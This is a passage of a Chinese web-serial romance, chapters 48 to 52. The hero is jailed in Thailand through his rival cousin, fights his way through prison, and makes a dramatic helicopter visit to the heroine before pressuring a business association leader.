“陈添,这儿不是宿厘岛,这儿是泰国?。” “泰国?又怎么样?”陈添神色蔑然,“陈其允是不是跟你说,到了?泰国?,他能?帮你摆脱我?” 说着?,他笑了?声,“他陈其允算个什么东西??” “几年不见,”陈其允很?是时?候地出现在他们身后,“你还?是这么自以为是。” 陈添抬眸。 两人对视,气氛骤然降至冰点?,却又仿佛随时?可以到达燃点?,将三个人都烧个干净。 是陈其允先移开?视线,不是出于在对峙中落败,他看向黎艾,温声开?口:“黎黎,到我这儿来。” “黎黎?”陈添嗤笑一声。 这两个字从他嘴里说出来,莫名让人觉得臊得慌,黎艾脸上浮起一点?薄红。 她将脸别到一边,用力想摆脱他的桎梏,但他力气实在太大。 “先生,”一名身着?安保制服的人员这时?走过来,“请你放开?这名女士。” “滚。” 陈添连看都没看他一眼。 安保人员抬手指着?陈添,“我警告你——啊——” 他的手指被陈添用力掰下去。 其他四名安保人员见状立即蜂拥而上,像等的就是这一刻。 似是怕误伤黎艾,陈添松了?手,顺势将拳头挥向朝他冲过来的人。 四个人而已,不足两分钟的时?间,五个人全趴地上。 黎艾站在一旁看着?,连阻止都来不及。 看着?地上躺着?的五个人,她瞬间明白了?陈其允昨天说要送陈添去的地方是哪里—— 警局。 她脑子里刚冒出这两个字,下一秒,身着?警服的人就冲了?进来。 陈添自然也清楚,这是陈其允给他设的局,甚至在来之前他就一定知道,这是场鸿门宴,但他还?是来了?。 今天就算他不打人,陈其允肯定也有办法?送他进警局,而他的情绪需要一个宣泄口,所以他不光打了?人,下手还?极重,专朝人身体?上痛感反应最强烈的地方打,地上那几人个个都痛得面目狰狞。 陈添当然不会袭警,但他也没有举手投降,就站在那儿,像棵永远不会弯曲的树。 警察将他双手拷住,过程中,他只静静望着?黎艾。 黎艾也望着?他,彼此眼神都复杂。 两人的视线因为陈添被警察押走而断开?。 目送他被押着?离开?宴会厅,黎艾转头,看向身后的陈其允,他轻摇着?红酒在笑。 注意到黎艾在看他,陈其允将视线从门口收回。 两人之间有着?一定的距离,在他的注视下,黎艾从手上挎着?的小包里拿出一只口红,一边盯着?他,一边反手用口红在裙子上写下四个字母: ‘FUCK’ 淡蓝色的礼裙上,鲜红的字母尤为醒目。 宴会厅里的人本就都在围观,此时?纷纷窃窃私语起来。 陈其允的脸色慢慢沉下去,又很?快缓和。 在场的其余安保人员很?有眼力见地开?始清场,都是些拉来为这场鸿门宴凑数的人,无足轻重。 偌大的宴会厅没会儿时?间就只剩下黎艾和陈其允两个人。 陈其允放下酒杯,朝黎艾走过来。 “不用担心,”他知道她在意陈添,“我说过,你和他在泰国?不会有危险。” 他站到她面前,笑起来补充道:“不会死,不会残,只是会受点?皮肉之苦。” “你可真是,”黎艾朝他靠过去,顺手拿过一旁盛着?红酒的高脚杯,“卑鄙至极。” 说完这四个字,她将酒杯举起,在他头顶淋下。 陈其允的笑容凝固在淌下的酒液里。 黎艾却笑了?,她笑着?问他:“这样你会报复我的朋友吗?” “黎黎,”陈其允也扯出一丝笑容,“我没那么小气。” “是吗?”黎艾偏头,“那这样呢?” “啪——” 宴会厅里响起一记响亮的耳光。 陈其允总是因为轻笑而微微眯起的眼睛在这一刻睁得极大,似乎不敢置信,他被人扇了?耳光。 他虽然久居陈添之下,但在他们那一脉,他却是地位最高的,从未被人这样扇过耳光,就是他那一直奉行打压教?育的父母也没有打过他的脸。 这一刻,他以为他会无比愤怒,但他能?很?清楚的分辨出,此刻他的情绪不是愤怒,是兴奋,兴奋得手都在抖。 他缓缓转过被扇得偏到一侧的脸,看向黎艾,眼底的兴奋逐渐透出来,嘴角随之扬起,“我把陈添送进警察局你就这么生气?” “嗯,因为我爱他。” 此话一出,陈其允的笑容再次凝固。 黎艾知道什么样的话最能?恶心他,他那么嫉妒陈添,完全已经到了?病态的地步,即便?他对她没什么感情,也听不得这种?话,他怎么能?容忍陈添在拥有一切的前提下,竟然还?拥有爱? “你不是说你不爱他?”他的眼神变得阴冷。 “当然是骗你的。” 黎艾与他对视,气场丝毫不输,眼底寒意逼人,“陈其允,你要敢对我的朋友下手,我马上去死。” “你要敢死,我让他们给你陪葬。” 黎艾摇头,轻笑,“如果我死了?,会给我陪葬的,只会是你。” 第49章 第 49 章 警车上。 陈添戴着手铐坐在?后座, 车上的?警员用泰语一直叽里呱啦的?说着什么,他听不懂,只觉得吵。 因为过目不忘,他会很多国家的?语言, 泰语他只要想学, 用不了多久也能?学会, 但他不想学,泰语光听着他都嫌烦。 他先是被?带去了警局,这些人明知道他是中国人, 听不懂泰国话,却让一个本地胡子拉渣的?警察用泰语来和?他沟通,警局里不是没有会中文?的?警察,他都听到了有人在?用中文?打?电话。 无?非就是走?走?过场,他猜, 下一步,十有八九是把他送去拘留中心。 他猜得没错。 一个小时后,他被?带到某处拘留中心,一个编号104的?牢房前。 他还猜, 跟他同一间牢房的?狱友还个个虎背熊腰, 凶神恶煞。 牢房门一开,果真如此?。 盯着面?前几个像要把他活吞了似的?泰国壮汉, 陈添垂眸,低笑。 刚好?,他今天还有一肚子的?火没处使。 狱警刚将门关上, 里面?就乱做了一团。 牢房并不隔音, 这么大的?动静在?监狱门口都能?听见,狱警愣是像聋了一样一动不动的?站着。 隔壁好?些个牢房里的?人透过门口小小的?一扇玻璃窗往这边看, 但什么也看不着。 这边的?动静在?半个小时后逐渐平息下来。 狱警这时才慢悠悠往104走?。 门打?开,里面?六个人,就一个站着。 站着男人背对狱警,一只脚正踩在?地上某个人的?脸上,听到门被?打?开的?声音,男人转过头,漫不经心瞥过来的?一眼却让狱警惊恐地往后退了一步。 男人将脚从地上那人脸上收回,转身面?向狱警,笑起来,“警官,你最好?赶紧送他们去医院。” 陈其?允的?人不敢弄死他,也不敢弄残他,但正当防卫,可没有上限。 狱警赶忙叫人来将地上的?人抬走?。 接下来的?时间里,104牢房的?人换了一批又一批,除却陈添,每一个都是竖着进去,横着出来。 陈添当然也有受伤,只是谁让他受了伤,他会十倍,百倍奉还。 十几天下来,他身上落下不少伤,不管躺着站着坐着,总有地方在?疼。 他不知道什么时候能?出去,在?泰国,除非他老?妈出手,十天半个月内他很难拿到主动权,但他不可能?等拿到主动权才去见黎艾。 在?商场上,他很擅长权衡利弊,但在?感情上,他从来不会想这些,想去见黎艾,那就立刻去见。 另一边。 在?他入狱的?这些天里,陈其?允也受了伤。 起因是,他将某一天陈添在?牢房里短暂处于下风时的?监控视频拿给黎艾看。 黎艾当时在?画画,拿着尖锐的?铅笔捅向了他的?肩膀。 陈其?允没有陈添那样的?反应速度,整支铅笔直接贯穿了他的?肩膀。 黎艾也没料到自己的?劲竟然那么大,看到埋进去那么长一截的?铅笔,她出于惊讶微微睁大了眼,等看到血从伤口渗出来,将陈其?允昂贵的?白衬衫染红一片,她忽然笑了一下,只是一下,掀眸看向陈其?允时,她眼底只剩下冰冷。 “你自找的?。”她冷冷开口。 陈其?允似乎没听清她说了什么,还侧头看着自己插着只铅笔的?肩膀,大概是太疼,又大概是太震惊,等他忍着疼缓缓转过头看向黎艾时,他像是还很诧异。 “你看我干什么?你应该去看医生。” 这句话莫名很戳陈其?允的?笑点,明明疼得不行,他却笑起来,笑着又更疼了,但他不停,依旧沉沉笑着。 黎艾像看神经病一样看着他,“这时候就别凹人设了,建议你去看医生的?时候顺便看看脑子。” “这不是凹人设,”陈其?允深深吸了口气,嘴角弧度荡开,“这是高兴,兴奋。” “你兴奋什么?” 黎艾一脸问?号,他有什么好?高兴的?? “不知道,就是……”陈其?允的?目光落在?她身上,眼底带着碎碎的?笑意,一双眼狭长而深邃,让人无?法从他的?双眼去分辨他的?情绪,“兴奋。” 被?她扇耳光兴奋,被?她捅也兴奋,这辈子都没这么兴奋过,很奇怪,又没那么奇怪。 “你真的?有病!” 陈其?允不反驳,他从来不是一个心理健全的?人,所以他能?很快接受自己这种不正常的?兴奋,享受这种神经颤栗带来的?快感。 “你们陈家人都有病!”想到陈添,黎艾又补了一句。 陈其允知道她在说陈添,“他要出来了,你想见他吗?” “不想。” “但我想见,我还没看见他发疯的样子。” 那天陈添在?宴会上的?反应,全程他都看见了,他还是第一次在陈添脸上看到那种表情,这让他更加期待他疯得彻底的样子。 黎艾真的?觉得他有大病,“你能?不能?先滚去医院,别他妈死我这儿。” 陈其?允瞄了眼伤口,出血并不多,只要他不作死的?在?去医院前把笔抽出来,那就死不了,他还有挺多时间可以跟她说说话。 “你不是盼着我死吗?” “我是盼着你死,但你别死我手里。” 陈其?允牵着唇轻笑,“我还挺想死在?你手里。” 靠。 黎艾不想再听他说一个字。 他不走?,她走?。 回到房间,黎艾想起视频里的?画面?,心里泛起阻塞的?痛感,像心脏上压了颗沉甸甸的?石。 她不知道是该怨命运,怨她的?固执,还是怨陈添太固执。 明明只需要放弃她,他就可以拥有一切,何必来受这样的?折磨。 他遂了她的?愿,两个人都可以各自安好?,而她若遂他愿,他受的?折磨或许远不比现在?少,当然,他们可以不结婚不生孩子,那样他还有他的?前程与靠山,不用吃这样的?苦头,但无?论怎样,只要她不肯放手,他都有遗憾,她也都不会好?受。 现在?,她就很不好?受。 这样心情持续到了她再与陈添见面?的?时候,她怎么都想不到,他会以那种方式出现在?她面?前。 那天,她将自己反锁在?房里画画,因为不想见到陈其?允。 画着画着,她听到直升机的?引擎声,起初她没在?意,直到引擎声越来越近。 出于某种预感,她放下了画笔,仰头。 她知道,那辆直升机此?刻就在?这栋房子的?上空。 她静静在?画板前了坐了一会儿,期间,那辆直升机像一直在?她头顶盘旋,巨大的?引擎声没有丝毫衰减。 直升机噪音挺磨人的?,一直听着耳朵特难受。 沉了沉气,黎艾起身,走?向外面?的?阳台。 黎艾看到了那架直升机,此?时它正从别墅侧方的?上空飞到正面?。 飞机上的?人应该是看到了她,朝这边飞过来,在?距离她十米高的?半空悬停。 紧接着,一根绳索被?抛下来,落在?阳台。 看到旁边的?绳索,黎艾心头一惊:不是吧? 再抬头,一个人已经出现在?绳索上,从半空索降下来,一身黑色装束,腰间系着安全绳,显得腰细腿长,完美的?身材之上,是一张更完美的?脸,配上这样的?出场,不得不说,是真他妈帅。 黎艾怔怔看着那抹身影从高空索降下来,在?距离她仅两米的?地方落定。 “眼睛瞪那么大干嘛?十几天没见不认得我了?” 男人朝她走?过来。 他脸上有几道口子,露出的?胳膊也有伤,但大约是他的?肌肉线条太结实,哪怕上面?覆着好?几条很深的?血痕,也让人觉得并无?大碍。 “刚出来又想进去?”黎艾告诫他,“你这是私闯民宅。” “闯就闯了,再进去就进去。”陈添语气轻狂。 “有意思吗?”黎艾拧眉。 “有意思啊,”陈添走?到她跟前,俯身,笑着扬了下眉,“特有意思。” 黎艾都不知道该说他什么好?,骂他吧,又会把他骂爽。 陈添抬手捏住她下巴,“黎艾,你跑来泰国也没用,陈其?允不敢真的?把我怎么样,所以不管你去哪儿,我都可以像今天这样出现在?你面?前。” “下次我把门窗都焊上,我看你怎么出现在?我面?前。” “焊死了,”陈添笑得浑痞,“那我不更得出现,把你救出来。” “陈添,男女授受不亲。”一旁冷不丁冒出个声音。 陈其?允不知何时出现在?阳台门口,提醒他道:“更何况她是你嫂子。” “嫂子?” 说出这两个字时,陈添看向黎艾的?眼神沉了一分,继续与她对视了一秒才转头看向旁边的?陈其?允。 “哪门子的?嫂子?”陈添直起身,半搭眼,神情蔑然,“按年龄,你是算我哥,但论辈分,你得叫我太爷爷。” 说着,他忽然一把将黎艾搂进怀里,“这是你太奶。” “陈添你放开我!” 黎艾挣扎,但他那满胳膊的?腱子肉跟钢筋似的?箍着她,她动弹都动弹不了。 “放开她,”陈其?允像是真的?很在?意他怀里的?人,眼神一瞬间变得凶狠,“要我再送你回牢房吃吃拳头?” “也得看你有没有那个本事。” 这十多天的?牢房,他也不是白坐的?,陈其?允在?官场上勾结了哪些,靠谁撑的?腰,叶尧在?外边儿已经查的?清清楚楚,既然知道是谁,那谁还没个门道。 “陈添你他妈是不是太猖狂了?”陈其?允骂了声脏话,但语调并没有拔高,从始至终都是沉冷的?,“你以为你还在?中国?这里是泰国!我的?地盘!” 最后两句,他才咬字加重,宣誓主权。 陈添却说:“在?你的?地盘,我照样压你一头。” 陈其?允只当他在?装腔,“你拿什么压?” “不管在?哪儿,钱才是第一位,只要我想,在?哪儿都压你一头。” 陈其?允握紧拳头,肩膀的?伤口传来剧烈疼痛,但他却将拳头攥得更用力,眼底阴云密布,显然被?他这句话触怒,因为他说的?,他没法反驳。 “你要这么想跟我抢黎艾,就得做好?砸钱的?准备,”陈添仰起下颌,眼尾上抬,“但你愿意为她花十亿百亿吗?” 陈其?允愣了下。 在?他愣神之际,陈添先一步回答了这个问?题—— “我肯。” 陈添笑着,眼神势在?必得。 陈其?允最恨的?,就是他这个表情,曾经他就是用这个表情,一次,一次,又一次赢了他。 刚刚,他之所以愣住,是在?想,只用十亿百亿就足够了吗? 只用这个数目就能?让他赢一次吗? “十亿百亿而已,”他冷笑了声,“你觉得我出不起?” “我说的?,”陈添扬唇,“是英镑。” 第50章 第 50 章 英镑, 一百亿英镑,那就是九百多亿。 全世界范围内,净资产能有这个?数目的人,少之又?少。 直升机还在楼顶上?空盘旋, 巨大的引擎声震得?人耳道难受。 陈其允的脸色一沉再沉。 黎艾的脸色也很不好看?, 谁稀罕他们的钱, 有病一样。 但她一声没吭,她懒得?跟这俩脑子有病的人说话。 “陈先生。” 门口传来一声呼喊。 三人朝门口看?去,只见一批身穿黑色T恤的男人出现在门口, 门窄,无法目测有多少人站在门外?。 陈其允只是看?了他们一眼,目光落回陈添身上?,“你尽管砸,我奉陪, 到时候赔了夫人又?折兵,可别后悔。” “该后悔的人只会是你,”陈添丝毫不在意门外?的人,“你要是老老实实在这儿当?个?土皇帝, 日子会很滋润, 但你偏要来惹我,让我只能像五年前那样, 让你从自己的地盘,再滚一次。” 陈其允忽然笑?起来,“我已经不是五年前那个?陈其允, 你也不是五年前那个?陈添。” 陈添像从他这句话里听出些什么, 眼睛微眯了一瞬。 他并不打算再跟陈其允进行?这种无意义的争辩,之后, 他会用行?动证明。 他低头看?向怀里的人,“我知?道你不愿意跟我走,我会自己走,但你得?送我。” 说着,他一把将她横抱起来,双臂紧紧禁锢住她的四肢。 “陈添!”选择当?个?哑巴的黎艾终于开?了口。 “在呢。”他冲她笑?了下,笑?容浑得?不行?。 “放开?她。”陈其允发出警告。 “不放。”他抬眸,挑衅地看?向陈其允。 陈其允正要再说些什么,但眼前的两个?人在这时被直升机带到了半空。 “你疯了陈添!”陈其允冲陈添怒吼。 黎艾身上?没有任何安全措施! 飞机上?升速度不快,陈添缓缓回道:“我还能让她出事?你以为我跟你一样废物?” 说完这句,直升机带着他们彻底离开?了阳台,往楼下的草坪降落。 门口为首的男人冲进来,“陈先生,要不要我……” 陈其允盯着两人在半空中的身影,沉了沉气开?口:“不用,守着大门别让他把人带走就行?。” 陈其允原本以为陈添会这样带走黎艾,但那样风险太高,他不会让黎艾处于这种险境,如他所说,他只是让黎艾送送他。 半空里,在身体失重还没有任何安全措施的情况下,黎艾眼底却?没有一丝畏惧,只在身体腾空那一瞬间惊讶了下,在陈添怀里,她有百分百的安全感。 况且,她是经历过枪战和挟持的人,这点儿场面?算什么。 “怕吗?” 头顶落下陈添带着颗粒感的嗓音,黎艾抬头,平静地看?向他,“我看?你是真?疯了。” 尽管她有百分百的安全感,但从客观事实出发,这是件非常危险的事,放在从前,陈添绝对不会这样做。 “这才哪儿到哪儿?”陈添却?说。 才哪儿到哪儿? 黎艾真?不知?道他想疯成?什么样。 七楼不过二十多米的高度,直升机很快将他们送至别墅外?的草坪。 落地,陈添将黎艾放下来,但避免她直接走人,他始终拽着她一只胳膊,另一只手去解安全扣。 扣子解开?,他拉着黎艾往门口走,走得?很慢。 “他把我弄进去十几天,就为了跟你在我面?前演这出?” “我听不懂你在说什么。” 说是这么说,黎艾当?然懂他说的什么。 “你还装,”陈添直接戳破,“你跟他要不是在演情侣,我倒过来姓。” 黎艾也说:“我跟他要是演的,我名字倒过来。” 名字倒过来而已,这种假誓有什么不能发的。 “艾黎……” 入耳的声音含笑?,尾腔带着一点戏谑的懒声。 黎艾心跳像蓦地停了,脚下一顿。 陈添停下来,侧身笑?着看?向她,“倒过来挺好,这样我每次喊你的名字,都是在说……” 他故意将语调拖长,缓缓俯身凑近她,而后才勾唇说出最?后那两个?字:“爱你。” 黎艾的心跳这下是真?的停了。 呼吸也一并停止。 血液却?疯流。 陈添将她所有表情尽收眼底,薄唇继续往上?扬了扬,漆黑的瞳孔深处升起某种隐秘浓郁的意味。 趁她神情微怔,他故意将声音压低了些,再一次喊她:“艾黎……爱你……” 像被他呼出的气流拂动,黎艾长睫颤了颤。 她听得出这两者的区别。 心脏在一瞬的停止后开?始狂跳,如擂鼓般剧烈,她都担心,仍在耳边轰鸣的引擎声盖不住这心跳,让他听见。 她暗暗深吸一口气,强行?将脸侧到一边,“滚。” 声音是冷的,却?明显听得?出气息不稳。 陈添慢慢直起身,视线扫了眼她透红的耳尖。 黎艾知?道自己耳朵一定?红了,她能感觉到那里在发烫。 她心知?那抹红已经落入他眼底,想掩饰已经来不及,但她还是出于掩饰迈开?了步子。 刚刚是陈添拉着她走,现在是她拉着陈添走。 陈添被她拽着,身子故意往后躺,让她拉不动,步子慵懒散漫,脸上?带着笑?,像个?不思教诲,整日只知?道调戏小姑娘的地痞无赖。 黎艾步子走得?越来越快,恨不得?立马把他扔出大门,可惜这儿离大门还有很长一段路,身后的人也死沉。 他们像一对在草坪上?散步的情侣。 “你不承认也没用,我还是只当?你在演戏。” “随你。”黎艾懒得?再跟他争辩。 “是你自己说的,你最?讨厌我们这种资本家,”陈添还懒懒笑?着,“怎么?你要自己打自己的脸。” “他和你们那些资本家不一样。” 黎艾说着违心话,基于一个?演员的基本素养,既然要演,那就好好演。 “怎么不一样?” “他没那么高高在上?。” 这话倒是真?的。 “意思是,你喜欢孬种?” 靠。 这人嘴是真?够毒的。 一种名叫好胜心的情绪被挑起,黎艾深吸一口气,停下来,转身,冷冷盯着他开?口:“我选男人从来就四个?要求,有钱,有用,帅,器大活好,以前你对我有用,所以即便讨厌你那副高高在上?的嘴脸,我也跟你,现在他对我有用,我跟他,有问题吗?” 她说了那么长一串,陈添就听到四个?字: 器大活好。 他脸色是在一瞬间变阴的,浓眉重重压下去。 “你跟他做过了?” 刚刚还带笑?的嗓音,此时戾气极重,尽管他心里的答案是否定?的,但一想到那个?可能,他就连杀人的心都有了。 “做了又?怎么样?关你屁事。” “你要敢跟他做,我立马阉了他。” 他这话,是肯定?他们还没做过,语气却?依旧骇人得?可怕。 “陈添你是不是太无法无天了!”黎艾也被激怒,“是不是哪天我踩了你的底线,你也要废了我?” 两个?人的情绪都有点失控,黎艾以为他们会像之前第一次在Sky见面?时那样争吵,但没有,陈添眼底的阴翳在她问出这句话后一瞬间烟消云散,过了会儿,他还笑?了笑?。 他拉着她的手,靠过来一些,好让她能更清晰地听见他接下来说的话:“我对你,没有底线。” 两人之间的距离好近,近到黎艾可以看?清他一根一根纤长浓密的睫毛,自然也看?得?清,他眼底,某种几乎具象化?的感情,像一抹光,让人无法忽视的光,极亮的,晃动着。 一种难以形容的感觉在此刻洞穿了她的心脏。 空气中仿佛有什么在涌动,稀薄的蹭着她被洞穿的心脏,像穿庭而过的风。 视线里,他的发尾被傍晚的轻风拂动,她的心绪也似乎随着那风,被扬了起来。 她压不下那股情绪,犯了作为一名演员的大忌,此刻她不再是扮演薄情寡义的那名角色,她只是她自己,爱着眼前这个?人的她,任谁都能透过她的眼看?见她为他跳动的心脏。 陈添看?见了,所以他眼底有浓雾般的笑?意再次漫起。 “以为骗我说跟他做过,我就不会纠缠你了?”陈添笑?着,声音格外?温柔。 黎艾怔怔看?着他,没回答。 “我不是什么封建余孽。” 说着,陈添抬手轻轻弹了下她的额头。 被弹的这一下,黎艾回神,慌忙将视线撇到一旁。 “走吧,”陈添掀眸看?了眼远处,“待会儿该有人来扫我们兴了。” 黎艾回头,看?到别墅大门前站着的陈其允。 他肩上?的伤口似乎撕裂了,血渗了出来,在他白色衬衫上?染出一片红色,像雪地里的一树红梅。 “你捅了他?” 陈添看?一眼便明白怎么一回事。 黎艾回头,“用不着你管。” “他欺负你?” 说这话时,陈添没再笑?,声线颇冷。 “你觉得?我能让他欺负?” 这是个?问句,语气却?不容置疑。 “不能。” 陈添又?笑?起来。 黎艾白了他一眼,一会儿阴一会儿晴的,天都没他能变脸,“走了。” 黎艾往前迈开?步子,陈添拉着她的手跟上?。 这下,两人更像牵着手在草坪上?散步的情侣了。 夕阳将两人的影子拖长,他们连影子都般配。 一人在十米之外?注视着他们的背影,眼睛微眯着,似被强光灼了眼。 不快不慢地走到门口,两人停下来。 “撒手。”黎艾冷冷开?口。 陈添缓缓松手。 “你可以滚了。” 陈添笑?笑?,并不介意她的冷硬态度,微俯一点身,笑?如浓雾轻风般对她说:“跟以前一样,等?你的戏杀青了,我来接你回家。” 50-54 第51章 第 51 章 “跟以前一样, 等你的戏杀青了?,我来?接你回家。” 彼时,恰好一阵风吹过,吹得他头发轻扬, 枝桠轻晃, 整个世界都是动态的, 黎艾整个人却在这一刻定格。 在宿厘岛的时候,陈添问?过她:她的家在哪儿? 那会儿她想,那栋她在海边买的小木屋里, 有她的猫,所以那里就是她的家。 但,以前拍戏时,为了?方便,她在横店也买了?套房, 每次拍戏就会把黎小二带去那栋房子里,她却从来?不觉得那里是她的家,只有抱着黎小二回到有陈添在的那栋房子时,她才觉得, 到家了?。 陈添自是不知道她在想什么, 只看见她表情有些怔愣。 他伸手轻捏了?下她的脸,“走了?。” 黎艾回神, 见他直起身,倒退着往后?走,脸上还?是来?时的笑容。 倒退了?好一段距离, 他才转身, 走向门外。 黎艾望着他的背影,在原地伫立良久。 等着陈添的车就在不远处, 陈添上车前朝这边望了?过来?,自然,他会看见她还?站在那儿,她知道自己不应该再站在这儿,却挪不开脚步,也挪不开视线。 他似乎笑了?下。 等他上了?车,她余光里出现一个侧影。 陈其允站到了?她身边。 “你满意了??”黎艾开口,语气带着嘲讽。 “当然没有。” 今天陈其允不但没能在陈添脸上看到他想看的表情,反而被对方占了?上风,他当然不满意。 黎艾转头,“你不如把我送去一个他找不到的地方。” “是有这样的地方,但你应该不会想去的。” 黎艾不解,“你怎么知道我想不想去?” 陈其允没有回答她的问?题,而是颇为故弄玄虚地说:“或许有一天,我会带你去。” 黎艾不想再与?他多说,抬步往回走,但步子刚迈出去,胳膊被陈其允拉住。 “干嘛?”黎艾有些愠怒地回头。 “下一次,我们给他加点料好不好?” 黎艾瞄了?眼?他肩膀处渗出来?的血迹,他用受伤的那边的手拉着她,这样伤口肯定是会疼的。 她怀疑他有受虐倾向,不对,她想起他被她捅时的反应,他就是有受虐倾向。 就挺无语的,她怎么净撞上些不正常的人。 “你又想搞什么?” “我想在他面前跟你再亲近一点,”怕她抵触,陈其允连忙补充道,“你就当跟从前一样在拍电影,一部没有吻戏的电影。” 黎艾愣了?下。 他跟陈添虽然是死?对头,但不愧是血脉相?连的兄弟,想法都一样。 “如果?我配合你,你多久能帮我彻底摆脱他?我需要一个具体?的期限。” “三?个月,三?个月内我们之间应该就会有一个胜负,如果?赢的是我,他会滚出泰国,如果?我输了?,我带你去一个他不可能找到的地方。” “你凭什么觉得那个地方他找不到?” 每一次逃跑,黎艾都觉得陈添找不到她,结果?一而再再而三?的被找到。 “黎黎,他没那么大?本事?,这世上总有些地方是他去不了?的,无论如何,”陈其允眸色渐深,“我都不会让他从我这里把你抢走。” “我至少,”他眼?底是几乎具象化的执念,“要赢他一次。” “还?是劝你一句,没有金刚钻就不要揽那瓷器活。” 他本来?就挺疯癫的了?,等他在陈添那儿输得一塌糊涂的时候,黎艾怕他精神上承受不住,彻底失去理智,最后?来?个玉石俱焚。 她可不想见到这样的局面。 陈其允却忽的笑起来?,“黎黎,你是在担心我吗?” 黎艾翻了?下白眼?,“我担心你后?悔,把我给卖了?。” “放心,就算我什么都没了?,只要你还?在,我就一定不会后?悔。” 他看她的眼?神,深情得要命,不知道怕还?以为他苦恋了?她多年,可他们的交集,不过半月而已,是以他的眼?神越是这般深情款款,黎艾越是觉得他有病。 “但黎黎,”陈其允语调一转,问?她,“你的决心够吗?” “当然。” 她的决心不比他少。 “那先提前祝贺你,”陈其允冲她笑得温柔,“得偿所愿。” 见他这么信心,黎艾心里反倒没底,对于他说的那个地方,她隐隐有种不好的预感,眉头不住往下压,“等你做到了?再说这话吧。” “一定让你如愿。” 他像是有百分百的胜算,那种势在必得的模样,让黎艾想到了?另一个人。 她转头,看向门外,那里只有一条空荡荡的街道- 离开别墅区,陈添坐着车前往距离最近的一处停机坪。 一架直升机似在那里等候多时,陈添下车,转乘直升机,一路往东飞。 历时一个多小时,直升机开始下降,下方是一处海边度假庄园。 庄园面积不小,配置豪华,停机坪都有好几处,直升机在距离中心位置最近的停机坪降落。 停机坪边儿上有人等着,见陈添下了?飞机,早就候着的男人朝陈添快步走过来?,伸手指向前方停着的一辆黑色宾利,“添爷,请。” 庄园太大?,还?得坐车去最终目的地。 车子在几分?钟后?停在一处兰纳王朝风格的独栋建筑前。 这儿似乎是专门用来?喝茶聊天的地方,环境清幽,高低错落的林荫郁郁葱葱,建筑四方通透,在下车的地方一眼?能望到里面雾气蒸腾的清池,颇具中式禅意。 踏过由青石板构成的小路,再迈上几步石阶,进入室内,陈添侧头,第一眼?,他看到的是叶尧。 叶尧比他提前了?半个小时过来?,把他想见的人约到了?这边,准确来?说,是让原本就在这儿躲他的人老老实实待着等他过来?。 在叶尧跟前,坐着一个发福的中年人,穿着身刺绣的黄褂子,看见陈添进来?,他先是咽了?下唾沫,然后?哈着腰站起来?,脸上挂起一个有些谄媚又局促的笑容,“添爷。” “陈会长,坐。” 陈添先一步坐下,被他叫做陈会长的中年男人也坐回去,姿态有些僵硬。 叶尧从陈会长身后?迈一步到两人之间的茶桌前,为陈添倒了?杯茶。 陈添瞥了?眼?陈会长的表情,没什么情绪地懒声开口:“陈会长在这个节骨眼?跑出来?度假,是在躲我吧?” “怎么会……”陈会长赔笑,声音没什么底气。 “陈会长可能不知道,现在我最擅长的,就是找人。” 陈会长不知道该说什么好。 “躲,”陈添似想到什么,笑了?声,“没用。” 陈会长没像陈添那样靠着座椅,身子朝陈添这边半侧着,腰始终保持微微弯曲的姿势,目光低垂,“让您大?老远跑这么一趟,实在抱歉,不知道添爷找我是有何事?交代?” “陈其允没告诉你们吗?” 他说的‘你们’,而不是‘你’,意思很明白。 陈其允是五年前才来?泰国的,光靠他一个人单打独斗,这么短的时间,弄不出什么名堂,但如今,陈其允几乎包揽了?陈家在泰国的所有生意,那就只有一个可能,有人帮他,不管是出于利益还?是被威胁之类的原因。 “其允什么也没跟我们说呀。”陈会长干笑道。 陈添懒得跟他打哈哈,“行,他没说,我来?说。” “我这次来?,”陈添侧目看向陈会长,“是准备让他滚回淮城。” 陈会长明知答案,还?是虎躯一震,头又低了?些,像恨不得低到土里去埋着,省得卷进这些个祖宗之间的争斗,“这……这怕是……有点难办。” “难不难办另说,有个事?儿我很好奇。” “您说。” “陈会长你在泰国生活了?这么多年,当了?这么多年的会长,是怎么让陈其允爬到你头上的?” 陈会长用余光暗暗打量了?下陈添的神色,调整了?下姿势,正襟危坐道:“其允虽然来?泰国的时间不长,但却与?诸多长官十分?交好,鄙人不才,自愧不如,那自然只能甘居人下。” “陈会长都做不到的事?,他陈其允是怎么做到的?” “这谁又知道呢。” 陈添扯了?下唇,下巴往上轻抬了?些,神色谑然,“陈会长没调查调查?” “那也得有本事?调查出来?才是,”陈会长叹了?口气道,“我只查到,其允的人脉似乎都是森萨长官介绍的。” 陈会长口中的森萨长官,陈添自然是有所了?解,现任警察总署署长。 到这儿,陈添知道也问?不出别的什么。 那现在就只剩下一个问?题。 “他有他的警察署署长,我有我的议庭,”他定定看向陈会长,“你选谁?” 陈会长顿时冷汗就下来?了?。 陈家全世界范围内的生意最终管理权还?是都在国内,他们这些国外的话事?人明面上看起来?权利很大?,但壳下顶多算个海外子公司高管,议庭成员要想罢免谁,不过就是一句话的事?。 罢免都是小事?,算提前退休,就怕还?会遭到清缴,秋后?算账,那一辈子都白干了?。 “听?说……”陈会长声音有点儿抖,像狠狠捏了?把汗才敢说出这句,“您不打算进议庭。” 陈添的目光幽幽在他身上停留两秒,笑了?声,“就算我不进议庭,我家那位陈鹤龄女士身体?康健,怕是还?能在议庭待上个十年二十年,那位森萨长官能当那么久的警察总署署长吗?” 近二十年来?,泰国的警察总署署长换得很勤,并?且没几个人有好下场,答案显然易见,但陈会长还?是不敢贸然做决定,毕竟陈其允也不是好惹的。 陈添看出他的顾虑,脸上笑意却更盛,他从来?都是这样,很少用一些狠戾的表情来?吓唬人,他只会笑,笑得人心惊胆战,坐立难安。 “你要是怕陈其允报复,那我去找泰国人合作,”他笑着,语气轻飘飘的,“把你们连同陈其允,一起弄死?。” 陈会儿听?得双膝发软,险些就要跪下去。 瞥他一眼?,陈添懒得再与?他多说,喝了?口叶尧为他倒的茶后?起身离开座椅,在往外走之前,他丢下最后?一句话: “告诉其他人,以后?泰国的生意,我管了?。” 第52章 第 52 章 傍晚, 夕阳落满窗。 天边被灼烧出一片火海般色彩,边缘逐渐被苍蓝与?暗色侵蚀,巨大的城市在天际之下一寸一寸亮起?灯海。 黎艾站在窗边的镜子前,等着造型师为?她调整礼服腰部的绑带。 今晚她会和陈其允出席一场慈善晚会。 在意识到陈其允是个受虐狂后, 她决定安分点, 左右不过三个月的时间?, 像陈其允和陈添这俩人说的,就当演戏,出演一个脾气?并不那么暴躁的人。 她其实也有?点好奇, 如果只认为?她是在演戏,陈添看到他?和陈其允举止亲密,会是什么表情。 “好了吗?” 男人温润低沉的嗓音传来,黎艾转头,淡淡望过去。 “好了。”造型师后退几步, 